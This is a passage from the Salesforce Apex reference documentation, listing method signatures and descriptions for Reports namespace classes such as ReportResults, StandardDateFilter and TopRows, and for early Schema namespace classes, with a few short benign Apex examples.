Sets the API name for the scope defined for the report. Scope values depend on the report type.
Signature
public void setScope(String scopeName)
Parameters
scopeName
Type: String
Return Value
Type: void
setShowGrandTotal(showGrandTotal)
Specifies whether the report shows the grand total.
1987
ReportMetadata ClassReference
Signature
public void setShowGrandTotal(Boolean showGrandTotal)
Parameters
showGrandTotal
Type: Boolean
Return Value
Type: void
setShowSubtotals(showSubtotals)
Specifies whether the report shows subtotals, such as column or row totals.
Signature
public void setShowSubtotals(Boolean showSubtotals)
Parameters
showSubtotals
Type: Boolean
Return Value
Type: void
setSortBy(column)
Sets the list of columns on which the report is sorted. Currently, you can only sort on one column.
Signature
public void setSortBy(List<Reports.SortColumn> column)
Parameters
column
Type: List<Reports.SortColumn>
Return Value
Type: void
setStandardDateFilter(dateFilter)
Sets the standard date filter—which includes the start date, end date, date range, and date field API name—for the report.
1988
ReportMetadata ClassReference
Signature
public void setStandardDateFilter(Reports.StandardDateFilter dateFilter)
Parameters
dateFilter
Type: Reports.StandardDateFilter
Return Value
Type: void
setStandardFilters(filters)
Sets one or more standard filters on the report.
Signature
public void setStandardFilters(List<Reports.StandardFilter> filters)
Parameters
filters
Type: List<Reports.StandardFilter>
Return Value
Type: void
setTopRows(topRows)
Applies a row limit filter to a report.
Signature
public Reports.TopRows setTopRows(Reports.TopRows topRows)
Parameters
topRows
Type: Reports.TopRows
Return Value
Type: void
ReportResults Class
Contains the results of running a report.
1989
ReportResults ClassReference
Namespace
Reports
ReportResults Methods
The following are methods for ReportResults. All are instance methods.
IN THIS SECTION:
getAllData()
Returns all report data.
getFactMap()
Returns summary-level data or summary and detailed data for each row or column grouping. Detailed data is available if the
includeDetails parameter is set to true when the report is run.
getGroupingsAcross()
Returns a collection of column groupings, keys, and values.
getGroupingsDown()
Returns a collection of row groupings, keys, and values.
getHasDetailRows()
Returns information about whether the fact map has detail rows.
getReportExtendedMetadata()
Returns additional, detailed metadata about the report, including data type and label information for groupings and summaries.
getReportMetadata()
Returns metadata about the report, including grouping and summary information.
getAllData()
Returns all report data.
Syntax
public Boolean getAllData()
Return Value
Type: Boolean
Usage
When true, indicates that all report results are returned.
When false, indicates that results are returned for the same number of rows as in a report run in Salesforce.
Note: For reports that contain too many records, use filters to refine results.
1990
ReportResults ClassReference
getFactMap()
Returns summary-level data or summary and detailed data for each row or column grouping. Detailed data is available if the
includeDetails parameter is set to true when the report is run.
Syntax
public MAP<String,Reports.ReportFact> getFactMap()
Return Value
Type: Map<String,Reports.ReportFact>
getGroupingsAcross()
Returns a collection of column groupings, keys, and values.
Syntax
public Reports.Dimension getGroupingsAcross()
Return Value
Type: Reports.Dimension
getGroupingsDown()
Returns a collection of row groupings, keys, and values.
Syntax
public Reports.Dimension getGroupingsDown()
Return Value
Type: Reports.Dimension
getHasDetailRows()
Returns information about whether the fact map has detail rows.
Syntax
public Boolean getHasDetailRows()
Return Value
Type: Boolean
1991
ReportResults ClassReference
Usage
•When true, indicates that the fact map returns values for summary-level and record-level data.
•When false, indicates that the fact map returns summary values.
getReportExtendedMetadata()
Returns additional, detailed metadata about the report, including data type and label information for groupings and summaries.
Syntax
public Reports.ReportExtendedMetadata getReportExtendedMetadata()
Return Value
Type: Reports.ReportExtendedMetadata
getReportMetadata()
Returns metadata about the report, including grouping and summary information.
Syntax
public Reports.ReportMetadata getReportMetadata()
Return Value
Type: Reports.ReportMetadata
ReportScopeInfo Class
Contains information about possible scope values that you can choose. Scope values depend on the report type. For example, you can
set the scope for opportunity reports to All opportunities, My team’s opportunities, or My opportunities.
Namespace
Reports
IN THIS SECTION:
ReportScopeInfo Methods
ReportScopeInfo Methods
The following are methods for ReportScopeInfo.
IN THIS SECTION:
getDefaultValue()
Returns the default scope of the data to display in the report.
1992
ReportScopeInfo ClassReference
getValues()
Returns a list of scope values specified for the report.
getDefaultValue()
Returns the default scope of the data to display in the report.
Signature
public String getDefaultValue()
Return Value
Type: String
getValues()
Returns a list of scope values specified for the report.
Signature
public List<Reports.ReportScopeValue> getValues()
Return Value
Type: List<Reports.ReportScopeValue>
ReportScopeValue Class
Contains information about a possible scope value. Scope values depend on the report type. For example, you can set the scope for
opportunity reports to All opportunities, My team’s opportunities, or My opportunities.
Namespace
Reports
IN THIS SECTION:
ReportScopeValue Methods
ReportScopeValue Methods
The following are methods for ReportScopeValue.
IN THIS SECTION:
getAllowsDivision()
Returns a boolean value that indicates whether you can segment the report by this scope.
1993
ReportScopeValue ClassReference
getLabel()
Returns the display name of the scope of the report.
getValue()
Returns the scope value for the report.
getAllowsDivision()
Returns a boolean value that indicates whether you can segment the report by this scope.
Signature
public Boolean getAllowsDivision()
Return Value
Type: Boolean
getLabel()
Returns the display name of the scope of the report.
Signature
public String getLabel()
Return Value
Type: String
getValue()
Returns the scope value for the report.
Signature
public String getValue()
Return Value
Type: String
ReportType Class
Contains the unique API name and display name for the report type.
Namespace
Reports
1994
ReportType ClassReference
ReportType Methods
The following are methods for ReportType. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the report type.
getType()
Returns the unique identifier of the report type.
getLabel()
Returns the localized display name of the report type.
Syntax
public String getLabel()
Return Value
Type: String
getType()
Returns the unique identifier of the report type.
Syntax
public String getType()
Return Value
Type: String
ReportTypeColumn Class
Contains detailed report type metadata about a field, including data type, display name, and filter values.
Namespace
Reports
ReportTypeColumn Methods
The following are methods for ReportTypeColumn. All are instance methods.
1995
ReportTypeColumn ClassReference
IN THIS SECTION:
getDataType()
Returns the data type of the field.
getFilterValues()
If the field data type is picklist, multi-select picklist, boolean, or checkbox, returns all filter values for a field. For example, checkbox
fields always have a value of true or false. For fields of other data types, the filter value is an empty array, because their values
can’t be determined.
getFilterable()
If the field is of a type that can’t be filtered, returns False. For example, fields of the type Encrypted Text can’t be filtered.
getLabel()
Returns the localized display name of the field.
getName()
Returns the unique API name of the field.
getDataType()
Returns the data type of the field.
Syntax
public Reports.ColumnDataType getDataType()
Return Value
Type: Reports.ColumnDataType
getFilterValues()
If the field data type is picklist, multi-select picklist, boolean, or checkbox, returns all filter values for a field. For example, checkbox fields
always have a value of true or false. For fields of other data types, the filter value is an empty array, because their values can’t be
determined.
Syntax
public LIST<Reports.FilterValue> getFilterValues()
Return Value
Type: List<Reports.FilterValue>
getFilterable()
If the field is of a type that can’t be filtered, returns False. For example, fields of the type Encrypted Text can’t be filtered.
Syntax
public Boolean getFilterable()
1996
ReportTypeColumn ClassReference
Return Value
Type: Boolean
getLabel()
Returns the localized display name of the field.
Syntax
public String getLabel()
Return Value
Type: String
getName()
Returns the unique API name of the field.
Syntax
public String getName()
Return Value
Type: String
ReportTypeColumnCategory Class
Information about categories of fields in a report type.
Namespace
Reports
Usage
A report type column category is a set of fields that the report type grants access to. For example, an opportunity report has categories
like Opportunity Information and Primary Contact. The Opportunity Information category has fields like Amount, Probability, and Close
Date.
Get category information about a report by first getting the report metadata:
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where DeveloperName =
'Q1_Opportunities2'];
String reportId = (String)reportList.get(0).get('Id');
// Describe the report
Reports.ReportDescribeResult describeResults =
1997
ReportTypeColumnCategory ClassReference
Reports.ReportManager.describeReport(reportId);
// Get report type metadata
Reports.ReportTypeMetadata reportTypeMetadata = describeResults.getReportTypeMetadata();
// Get report type column categories
List<Reports.ReportTypeColumnCategory> reportTypeColumnCategories =
reportTypeMetadata.getCategories();
System.debug('reportTypeColumnCategories: ' + reportTypeColumnCategories);
ReportTypeColumnCategory Methods
The following are methods for ReportTypeColumnCategory. All are instance methods.
IN THIS SECTION:
getColumns()
Returns information for all fields in the report type. The information is organized by each section’s unique API name.
getLabel()
Returns the localized display name of a section in the report type under which fields are organized. For example, in an Accounts
with Contacts custom report type, Account General is the display name of the section that contains fields on general account
information.
getColumns()
Returns information for all fields in the report type. The information is organized by each section’s unique API name.
Syntax
public MAP<String,Reports.ReportTypeColumn> getColumns()
Return Value
Type: Map<String,Reports.ReportTypeColumn>
getLabel()
Returns the localized display name of a section in the report type under which fields are organized. For example, in an Accounts with
Contacts custom report type, Account General is the display name of the section that contains fields on general account information.
Syntax
public String getLabel()
Return Value
Type: String
1998
ReportTypeColumnCategory ClassReference
ReportTypeMetadata Class
Contains report type metadata, which gives you information about the fields that are available in each section of the report type, plus
filter information for those fields.
Namespace
Reports
IN THIS SECTION:
ReportTypeMetadata Methods
ReportTypeMetadata Methods
The following are methods for ReportTypeMetadata. All are instance methods.
IN THIS SECTION:
getCategories()
Returns all fields in the report type. The fields are organized by section.
getDivisionInfo()
Returns the default division and a list of all possible divisions that can be applied to this type of report.
getScopeInfo()
Returns information about the scopes that can be applied to this type of report.
getStandardDateFilterDurationGroups()
Returns information about the standard date filter groupings that can be applied to this type of report. Standard date filter groupings
include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day and a custom value based
on a user-defined date range.
getStandardFilterInfos()
Returns information about standard date filters that can be applied to this type of report.
getCategories()
Returns all fields in the report type. The fields are organized by section.
Syntax
public LIST<Reports.ReportTypeColumnCategory> getCategories()
Return Value
Type: List<Reports.ReportTypeColumnCategory>
getDivisionInfo()
Returns the default division and a list of all possible divisions that can be applied to this type of report.
1999
ReportTypeMetadata ClassReference
Signature
public Reports.ReportDivisionInfo getDivisionInfo()
Return Value
Type: Reports.ReportDivisionInfo
getScopeInfo()
Returns information about the scopes that can be applied to this type of report.
Signature
public Reports.ReportScopeInfo getScopeInfo()
Return Value
Type: Reports.ReportScopeInfo
getStandardDateFilterDurationGroups()
Returns information about the standard date filter groupings that can be applied to this type of report. Standard date filter groupings
include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day and a custom value based on
a user-defined date range.
Signature
public List<Reports.StandardDateFilterDurationGroup>
getStandardDateFilterDurationGroups()
Return Value
Type: List<Reports.StandardDateFilterDurationGroup>
getStandardFilterInfos()
Returns information about standard date filters that can be applied to this type of report.
Signature
public Map<String,Reports.StandardFilterInfo> getStandardFilterInfos()
Return Value
Type: Map<String,Reports.StandardFilterInfo>
SortColumn Class
Contains information about the sort column used in the report.
2000
SortColumn ClassReference
Namespace
Reports
IN THIS SECTION:
SortColumn Methods
SortColumn Methods
The following are methods for SortColumn.
IN THIS SECTION:
getSortColumn()
Returns the column used to sort the records in the report.
getSortOrder()
Returns the the sort order— ascending or descending—for the sort column.
setSortColumn(sortColumn)
Sets the column used to sort the records in the report.
setSortOrder(SortOrder)
Sets the sort order— ascending or descending—for the sort column.
getSortColumn()
Returns the column used to sort the records in the report.
Signature
public String getSortColumn()
Return Value
Type: String
getSortOrder()
Returns the the sort order— ascending or descending—for the sort column.
Signature
public Reports.ColumnSortOrder getSortOrder()
Return Value
Type: Reports.ColumnSortOrder
2001
SortColumn ClassReference
setSortColumn(sortColumn)
Sets the column used to sort the records in the report.
Signature
public void setSortColumn(String sortColumn)
Parameters
sortColumn
Type: String
Return Value
Type: void
setSortOrder(SortOrder)
Sets the sort order— ascending or descending—for the sort column.
Signature
public void setSortOrder(Reports.ColumnSortOrder sortOrder)
Parameters
sortOrder
Type: Reports.ColumnSortOrder
Return Value
Type: void
StandardDateFilter Class
Contains information about standard date filter available in the report—for example, the API name, start date, and end date of the
standard date filter duration as well as the API name of the date field on which the filter is placed.
Namespace
Reports
IN THIS SECTION:
StandardDateFilter Methods
StandardDateFilter Methods
The following are methods for StandardDateFilter.
2002
StandardDateFilter ClassReference
IN THIS SECTION:
getColumn()
Returns the API name of the standard date filter column.
getDurationValue()
Returns duration information about a standard date filter, such as start date, end date, and display name and API name of the date
filter.
getEndDate()
Returns the end date of the standard date filter.
getStartDate()
Returns the start date for the standard date filter.
setColumn(standardDateFilterColumnName)
Sets the API name of the standard date filter column.
setDurationValue(durationName)
Sets the API name of the standard date filter.
setEndDate(endDate)
Sets the end date for the standard date filter.
setStartDate(startDate)
Sets the start date for the standard date filter.
getColumn()
Returns the API name of the standard date filter column.
Signature
public String getColumn()
Return Value
Type: String
getDurationValue()
Returns duration information about a standard date filter, such as start date, end date, and display name and API name of the date filter.
Signature
public String getDurationValue()
Return Value
Type: String
getEndDate()
Returns the end date of the standard date filter.
2003
StandardDateFilter ClassReference
Signature
public String getEndDate()
Return Value
Type: String
getStartDate()
Returns the start date for the standard date filter.
Signature
public String getStartDate()
Return Value
Type: String
setColumn(standardDateFilterColumnName)
Sets the API name of the standard date filter column.
Signature
public void setColumn(String standardDateFilterColumnName)
Parameters
standardDateFilterColumnName
Type: String
Return Value
Type: void
setDurationValue(durationName)
Sets the API name of the standard date filter.
Signature
public void setDurationValue(String durationName)
Parameters
durationName
Type: String
2004
StandardDateFilter ClassReference
Return Value
Type: void
setEndDate(endDate)
Sets the end date for the standard date filter.
Signature
public void setEndDate(String endDate)
Parameters
endDate
Type: String
Return Value
Type: void
setStartDate(startDate)
Sets the start date for the standard date filter.
Signature
public void setStartDate(String startDate)
Parameters
startDate
Type: String
Return Value
Type: void
StandardDateFilterDuration Class
Contains information about each standard date filter—also referred to as a relative date filter. It contains the API name and display label
of the standard date filter duration as well as the start and end dates.
Namespace
Reports
IN THIS SECTION:
StandardDateFilterDuration Methods
2005
StandardDateFilterDuration ClassReference
StandardDateFilterDuration Methods
The following are methods for StandardDateFilterDuration.
IN THIS SECTION:
getEndDate()
Returns the end date of the date filter.
getLabel()
Returns the display name of the date filter. Possible values are relative date filters—like Current FY and Current FQ—and
custom date filters.
getStartDate()
Returns the start date of the date filter.
getValue()
Returns the API name of the date filter. Possible values are relative date filters—like THIS_FISCAL_YEAR and
NEXT_FISCAL_QUARTER—and custom date filters.
getEndDate()
Returns the end date of the date filter.
Signature
public String getEndDate()
Return Value
Type: String
getLabel()
Returns the display name of the date filter. Possible values are relative date filters—like Current FY and Current FQ—and
custom date filters.
Signature
public String getLabel()
Return Value
Type: String
getStartDate()
Returns the start date of the date filter.
Signature
public String getStartDate()
2006
StandardDateFilterDuration ClassReference
Return Value
Type: String
getValue()
Returns the API name of the date filter. Possible values are relative date filters—like THIS_FISCAL_YEAR and
NEXT_FISCAL_QUARTER—and custom date filters.
Signature
public String getValue()
Return Value
Type: String
StandardDateFilterDurationGroup Class
Contains information about the standard date filter groupings, such as the grouping display label and all standard date filters that fall
under the grouping. Groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week,
Fiscal Year, Fiscal Quarter, Day, and custom values based on user-defined date ranges.
Namespace
Reports
IN THIS SECTION:
StandardDateFilterDurationGroup Methods
StandardDateFilterDurationGroup Methods
The following are methods for StandardDateFilterDurationGroup.
IN THIS SECTION:
getLabel()
Returns the display label for the standard date filter grouping.
getStandardDateFilterDurations()
Returns the standard date filter groupings.
getLabel()
Returns the display label for the standard date filter grouping.
Signature
public String getLabel()
2007
StandardDateFilterDurationGroup ClassReference
Return Value
Type: String
getStandardDateFilterDurations()
Returns the standard date filter groupings.
Signature
public List<Reports.StandardDateFilterDuration> getStandardDateFilterDurations()
Return Value
Type: List<Reports.StandardDateFilterDuration>
For example, a standard filter date grouping might look like this:
Reports.StandardDateFilterDuration[endDate=2015-12-31, label=Current FY,
startDate=2015-01-01, value=THIS_FISCAL_YEAR],
Reports.StandardDateFilterDuration[endDate=2014-12-31, label=Previous FY,
startDate=2014-01-01, value=LAST_FISCAL_YEAR],
Reports.StandardDateFilterDuration[endDate=2014-12-31, label=Previous 2 FY,
startDate=2013-01-01, value=LAST_N_FISCAL_YEARS:2]
StandardFilter Class
Contains information about the standard filter defined in the report, such as the filter field API name and filter value.
Namespace
Reports
Usage
Use to get or set standard filters on a report. Standard filters vary by report type. For example, standard filters for reports on the Opportunity
object are Show, Opportunity Status, and Probability.
IN THIS SECTION:
StandardFilter Methods
StandardFilter Methods
The following are methods for StandardFilter.
IN THIS SECTION:
getName()
Return the API name of the standard filter.
2008
StandardFilter ClassReference
getValue()
Returns the standard filter value.
setName(name)
Sets the API name of the standard filter.
setValue(value)
Sets the standard filter value.
getName()
Return the API name of the standard filter.
Signature
public String getName()
Return Value
Type: String
getValue()
Returns the standard filter value.
Signature
public String getValue()
Return Value
Type: String
setName(name)
Sets the API name of the standard filter.
Signature
public void setName(String name)
Parameters
name
Type: String
Return Value
Type: void
2009
StandardFilter ClassReference
setValue(value)
Sets the standard filter value.
Signature
public void setValue(String value)
Parameters
value
Type: String
Return Value
Type: void
StandardFilterInfo Class
Is an abstract base class for an object that provides standard filter information.
Namespace
Reports
IN THIS SECTION:
StandardFilterInfo Methods
StandardFilterInfo Methods
The following are methods for StandardFilterInfo.
IN THIS SECTION:
getLabel()
Returns the display label of the standard filter.
getType()
Returns the type of standard filter.
getLabel()
Returns the display label of the standard filter.
Signature
public String getLabel()
2010
StandardFilterInfo ClassReference
Return Value
Type: String
getType()
Returns the type of standard filter.
Signature
public Reports.StandardFilterType getType()
Return Value
Type: Reports.StandardFilterType
StandardFilterInfoPicklist Class
Contains information about the standard filter picklist, such as the display name and type of the filter field, the default picklist value, and
a list of all possible picklist values.
Namespace
Reports
IN THIS SECTION:
StandardFilterInfoPicklist Methods
StandardFilterInfoPicklist Methods
The following are methods for StandardFilterInfoPicklist.
IN THIS SECTION:
getDefaultValue()
Returns the default value for the standard filter picklist.
getFilterValues()
Returns a list of standard filter picklist values.
getLabel()
Returns the display name of the standard filter picklist.
getType()
Returns the type of the standard filter picklist.
getDefaultValue()
Returns the default value for the standard filter picklist.
2011
StandardFilterInfoPicklist ClassReference
Signature
public String getDefaultValue()
Return Value
Type: String
getFilterValues()
Returns a list of standard filter picklist values.
Signature
public List<Reports.FilterValue> getFilterValues()
Return Value
Type: List<Reports.FilterValue>
getLabel()
Returns the display name of the standard filter picklist.
Signature
public String getLabel()
Return Value
Type: String
getType()
Returns the type of the standard filter picklist.
Signature
public Reports.StandardFilterType getType()
Return Value
Type: Reports.StandardFilterType
StandardFilterType Enum
The StandardFilterType enum describes the type of standard filters in a report. The getType() method returns a
Reports.StandardFilterType enum value.
2012
StandardFilterType EnumReference
Namespace
Reports
Enum Values
The following are the values of the Reports.StandardFilterType enum.
DescriptionValue
Values for the standard filter type.PICKLIST
String values.STRING
SummaryValue Class
Contains summary data for a cell of the report.
Namespace
Reports
SummaryValue Methods
The following are methods for SummaryValue. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the formatted summary data for a specified cell.
getValue()
Returns the numeric value of the summary data for a specified cell.
getLabel()
Returns the formatted summary data for a specified cell.
Syntax
public String getLabel()
Return Value
Type: String
getValue()
Returns the numeric value of the summary data for a specified cell.
2013
SummaryValue ClassReference
Syntax
public Object getValue()
Return Value
Type: Object
ThresholdInformation Class
Contains a list of evaluated conditions for a report notification.
Namespace
Reports
IN THIS SECTION:
ThresholdInformation Constructors
ThresholdInformation Methods
ThresholdInformation Constructors
The following are constructors for ThresholdInformation.
IN THIS SECTION:
ThresholdInformation(evaluatedConditions)
Creates a new instance of the Reports.EvaluatedCondition class.
ThresholdInformation(evaluatedConditions)
Creates a new instance of the Reports.EvaluatedCondition class.
Signature
public ThresholdInformation(List<Reports.EvaluatedCondition> evaluatedConditions)
Parameters
evaluatedConditions
Type: List<Reports.EvaluatedCondition>
A list of Reports.EvaluatedCondition objects.
ThresholdInformation Methods
The following are methods for ThresholdInformation.
2014
ThresholdInformation ClassReference
IN THIS SECTION:
getEvaluatedConditions()
Returns a list of evaluated conditions for a report notification.
getEvaluatedConditions()
Returns a list of evaluated conditions for a report notification.
Signature
public List<Reports.EvaluatedCondition> getEvaluatedConditions()
Return Value
Type: List<Reports.EvaluatedCondition>
TopRows Class
Contains methods and constructors for working with information about a row limit filter.
Namespace
Reports
IN THIS SECTION:
TopRows Constructors
TopRows Methods
TopRows Constructors
The following are constructors for TopRows.
IN THIS SECTION:
TopRows(rowLimit, direction)
Creates an instance of the Reports.TopRows class using the specified parameters.
TopRows()
Creates an instance of the Reports.TopRows class. You can then set values by using the class’s set methods.
TopRows(rowLimit, direction)
Creates an instance of the Reports.TopRows class using the specified parameters.
Signature
public TopRows(Integer rowLimit, Reports.ColumnSortOrder direction)
2015
TopRows ClassReference
Parameters
rowLimit
Type: Integer
The number of rows returned in the report.
direction
Type: Reports.ColumnSortOrder
The sort order of the report rows.
TopRows()
Creates an instance of the Reports.TopRows class. You can then set values by using the class’s set methods.
Signature
public TopRows()
TopRows Methods
The following are methods for TopRows.
IN THIS SECTION:
getDirection()
Returns the sort order of the report rows.
getRowLimit()
Returns the maximum number of rows shown in the report.
setDirection(value)
Sets the sort order of the report’s rows.
setDirection(direction)
Sets the sort order of the report’s rows.
setRowLimit(rowLimit)
Sets the maximum number of rows included in the report.
toString()
Returns a string.
getDirection()
Returns the sort order of the report rows.
Signature
public Reports.ColumnSortOrder getDirection()
Return Value
Type: Reports.ColumnSortOrder
2016
TopRows ClassReference
getRowLimit()
Returns the maximum number of rows shown in the report.
Signature
public Integer getRowLimit()
Return Value
Type: Integer
setDirection(value)
Sets the sort order of the report’s rows.
Signature
public void setDirection(String value)
Parameters
value
Type: String
For possible values, see Reports.ColumnSortOrder.
Return Value
Type: void
setDirection(direction)
Sets the sort order of the report’s rows.
Signature
public void setDirection(Reports.ColumnSortOrder direction)
Parameters
direction
Type: Reports.ColumnSortOrder
Return Value
Type: void
setRowLimit(rowLimit)
Sets the maximum number of rows included in the report.
2017
TopRows ClassReference
Signature
public void setRowLimit(Integer rowLimit)
Parameters
rowLimit
Type: Integer
Return Value
Type: void
toString()
Returns a string.
Signature
public String toString()
Return Value
Type: String
Reports Exceptions
The Reports namespace contains exception classes.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions on page 2266.
The Reports namespace contains these exceptions:
MethodsDescriptionException
Invalid report formatReports.FeatureNotSupportedException
Unable to access report
instance
Reports.InstanceAccessException
List<String> getFilterErrors() returns a list of
filter errors
Filter validation errorReports.InvalidFilterException
List<String> getReportMetadataErrors()
returns a list of metadata errors
Missing metadata for
filters
Reports.InvalidReportMetadataException
List<String> getSnapshotDateErrors() returns
a list of snapshot date errors
Invalid historical report
format
Reports.InvalidSnapshotDateException
No selected report
columns
Reports.MetadataException
Error running reportReports.ReportRunException
2018
Reports ExceptionsReference
MethodsDescriptionException
Missing permissions for
running reports
Reports.UnsupportedOperationException
Schema Namespace
The Schema namespace provides classes and methods for schema metadata information.
The following are the classes in the Schema namespace.
IN THIS SECTION:
ChildRelationship Class
Contains methods for accessing the child relationship as well as the child sObject for a parent sObject.
DataCategory Class
Represents the categories within a category group.
DataCategoryGroupSobjectTypePair Class
Specifies a category group and an associated object.
DescribeColorResult Class
Contains color metadata information for a tab.
DescribeDataCategoryGroupResult Class
Contains the list of the category groups associated with KnowledgeArticleVersion and Question.
DescribeDataCategoryGroupStructureResult Class
Contains the category groups and categories associated with KnowledgeArticleVersion and Question.
DescribeFieldResult Class
Contains methods for describing sObject fields.
DescribeIconResult Class
Contains icon metadata information for a tab.
DescribeSObjectResult Class
Contains methods for describing sObjects.
DescribeTabResult Class
Contains tab metadata information for a tab in a standard or custom app available in the Salesforce user interface.
DescribeTabSetResult Class
Contains metadata information about a standard or custom app available in the Salesforce user interface.
DisplayType Enum
A Schema.DisplayType enum value is returned by the field describe result's getType method.
FieldSet Class
Contains methods for discovering and retrieving the details of field sets created on sObjects.
FieldSetMember Class
Contains methods for accessing the metadata for field set member fields.
2019
Schema NamespaceReference
PicklistEntry Class
Represents a picklist entry.
RecordTypeInfo Class
Contains methods for accessing record type information for an sObject with associated record types.
SOAPType Enum
A Schema.SOAPType enum value is returned by the field describe result getSoapType method.
SObjectField Class
A Schema.sObjectField object is returned from the field describe result using the getControler and
getSObjectField methods.
SObjectType Class
A Schema.sObjectType object is returned from the field describe result using the getReferenceTo method, or from
the sObject describe result using the getSObjectType method.
ChildRelationship Class
Contains methods for accessing the child relationship as well as the child sObject for a parent sObject.
Namespace
Schema
Example
A ChildRelationship object is returned from the sObject describe result using the getChildRelationship method. For example:
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
List<Schema.ChildRelationship> C = R.getChildRelationships();
ChildRelationship Methods
The following are methods for ChildRelationship. All are instance methods.
IN THIS SECTION:
getChildSObject()
Returns the token of the child sObject on which there is a foreign key back to the parent sObject.
getField()
Returns the token of the field that has a foreign key back to the parent sObject.
getRelationshipName()
Returns the name of the relationship.
isCascadeDelete()
Returns true if the child object is deleted when the parent object is deleted, false otherwise.
isDeprecatedAndHidden()
Reserved for future use.
2020
ChildRelationship ClassReference
isRestrictedDelete()
Returns true if the parent object can't be deleted because it is referenced by a child object, false otherwise.
getChildSObject()
Returns the token of the child sObject on which there is a foreign key back to the parent sObject.
Signature
public Schema.SObjectType getChildSObject()
Return Value
Type: Schema.SObjectType
getField()
Returns the token of the field that has a foreign key back to the parent sObject.
Signature
public Schema.SObjectField getField()
Return Value
Type: Schema.SObjectField
getRelationshipName()
Returns the name of the relationship.
Signature
public String getRelationshipName()
Return Value
Type: String
isCascadeDelete()
Returns true if the child object is deleted when the parent object is deleted, false otherwise.
Signature
public Boolean isCascadeDelete()
Return Value
Type: Boolean
2021
ChildRelationship ClassReference
isDeprecatedAndHidden()
Reserved for future use.
Signature
public Boolean isDeprecatedAndHidden()
Return Value
Type: Boolean
isRestrictedDelete()
Returns true if the parent object can't be deleted because it is referenced by a child object, false otherwise.
Signature
public Boolean isRestrictedDelete()
Return Value
Type: Boolean
DataCategory Class
Represents the categories within a category group.
Namespace
Schema
Usage
The Schema.DataCategory object is returned by the getTopCategories method.
DataCategory Methods
The following are methods for DataCategory. All are instance methods.
IN THIS SECTION:
getChildCategories()
Returns a recursive object that contains the visible sub categories in the data category.
getLabel()
Returns the label for the data category used in the Salesforce user interface.
getName()
Returns the unique name used by the API to access to the data category.
2022
DataCategory ClassReference
getChildCategories()
Returns a recursive object that contains the visible sub categories in the data category.
Signature
public Schema.DataCategory getChildCategories()
Return Value
Type: List<Schema.DataCategory>
getLabel()
Returns the label for the data category used in the Salesforce user interface.
Signature
public String getLabel()
Return Value
Type: String
getName()
Returns the unique name used by the API to access to the data category.
Signature
public String getName()
Return Value
Type: String
DataCategoryGroupSobjectTypePair Class
Specifies a category group and an associated object.
Namespace
Schema
Usage
Schema.DataCategoryGroupSobjectTypePair is used by the describeDataCategory GroupStructures method to return
the categories available to this object.
2023
DataCategoryGroupSobjectTypePair ClassReference
IN THIS SECTION:
DataCategoryGroupSobjectTypePair Constructors
DataCategoryGroupSobjectTypePair Methods
DataCategoryGroupSobjectTypePair Constructors
The following are constructors for DataCategoryGroupSobjectTypePair.
IN THIS SECTION:
DataCategoryGroupSobjectTypePair()
Creates a new instance of the Schema.DataCategoryGroupSobjectTypePair class.
DataCategoryGroupSobjectTypePair()
Creates a new instance of the Schema.DataCategoryGroupSobjectTypePair class.
Signature
public DataCategoryGroupSobjectTypePair()
DataCategoryGroupSobjectTypePair Methods
The following are methods for DataCategoryGroupSobjectTypePair. All are instance methods.
IN THIS SECTION:
getDataCategoryGroupName()
Returns the unique name used by the API to access the data category group.
getSobject()
Returns the object name associated with the data category group.
setDataCategoryGroupName(name)
Specifies the unique name used by the API to access the data category group.
setSobject(sObjectName)
Sets the sObject associated with the data category group.
getDataCategoryGroupName()
Returns the unique name used by the API to access the data category group.
Signature
public String getDataCategoryGroupName()
Return Value
Type: String
2024
DataCategoryGroupSobjectTypePair ClassReference
getSobject()
Returns the object name associated with the data category group.
Signature
public String getSobject()
Return Value
Type: String
setDataCategoryGroupName(name)
Specifies the unique name used by the API to access the data category group.
Signature
public String setDataCategoryGroupName(String name)
Parameters
name
Type: String
Return Value
Type: Void
setSobject(sObjectName)
Sets the sObject associated with the data category group.
Signature
public Void setSobject(String sObjectName)
Parameters
sObjectName
Type: String
The sObjectName is the object name associated with the data category group. Valid values are:
•KnowledgeArticleVersion—for article types.
•Question—for questions from Answers.
Return Value
Type: Void
2025
DataCategoryGroupSobjectTypePair ClassReference
DescribeColorResult Class
Contains color metadata information for a tab.
Namespace
Schema
Usage
The getColors method of the Schema.DescribeTabResult class returns a list of Schema.DescribeColorResult
objects that describe colors used in a tab.
The methods in the Schema.DescribeColorResult class can be called using their property counterparts. For each method
starting with get, you can omit the get prefix and the ending parentheses () to call the property counterpart. For example,
colorResultObj.color is equivalent to colorResultObj.getColor().
Example
This sample shows how to get the color information in the Sales app for the first tab’s first color.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.DescribeTabs();
// Iterate through each tab set describe for each app and display the info
for(Schema.DescribeTabSetResult tsr : tabSetDesc) {
// Display tab info for the Sales app
if (tsr.getLabel() == 'Sales') {
// Get color information for the first tab
List<Schema.DescribeColorResult> colorDesc = tsr.getTabs()[0].getColors();
// Display the icon color, theme, and context of the first color returned
System.debug('Color: ' + colorDesc[0].getColor());
System.debug('Theme: ' + colorDesc[0].getTheme());
System.debug('Context: ' + colorDesc[0].getContext());
}
}
// Example debug statement output
// DEBUG|Color: 1797C0
// DEBUG|Theme: theme4
// DEBUG|Context: primary
DescribeColorResult Methods
The following are methods for DescribeColorResult. All are instance methods.
IN THIS SECTION:
getColor()
Returns the Web RGB color code, such as 00FF00.
2026
DescribeColorResult ClassReference
getContext()
Returns the color context. The context determines whether the color is the main color for the tab or not.
getTheme()
Returns the color theme.
getColor()
Returns the Web RGB color code, such as 00FF00.
Signature
public String getColor()
Return Value
Type: String
getContext()
Returns the color context. The context determines whether the color is the main color for the tab or not.
Signature
public String getContext()
Return Value
Type: String
getTheme()
Returns the color theme.
Signature
public String getTheme()
Return Value
Type: String
Possible theme values include theme3, theme4, and custom.
•theme3 is the Salesforce theme introduced during Spring ‘10.
•theme4 is the Salesforce theme introduced in Winter ‘14 for the mobile touchscreen version of Salesforce.
•custom is the theme name associated with a custom icon.
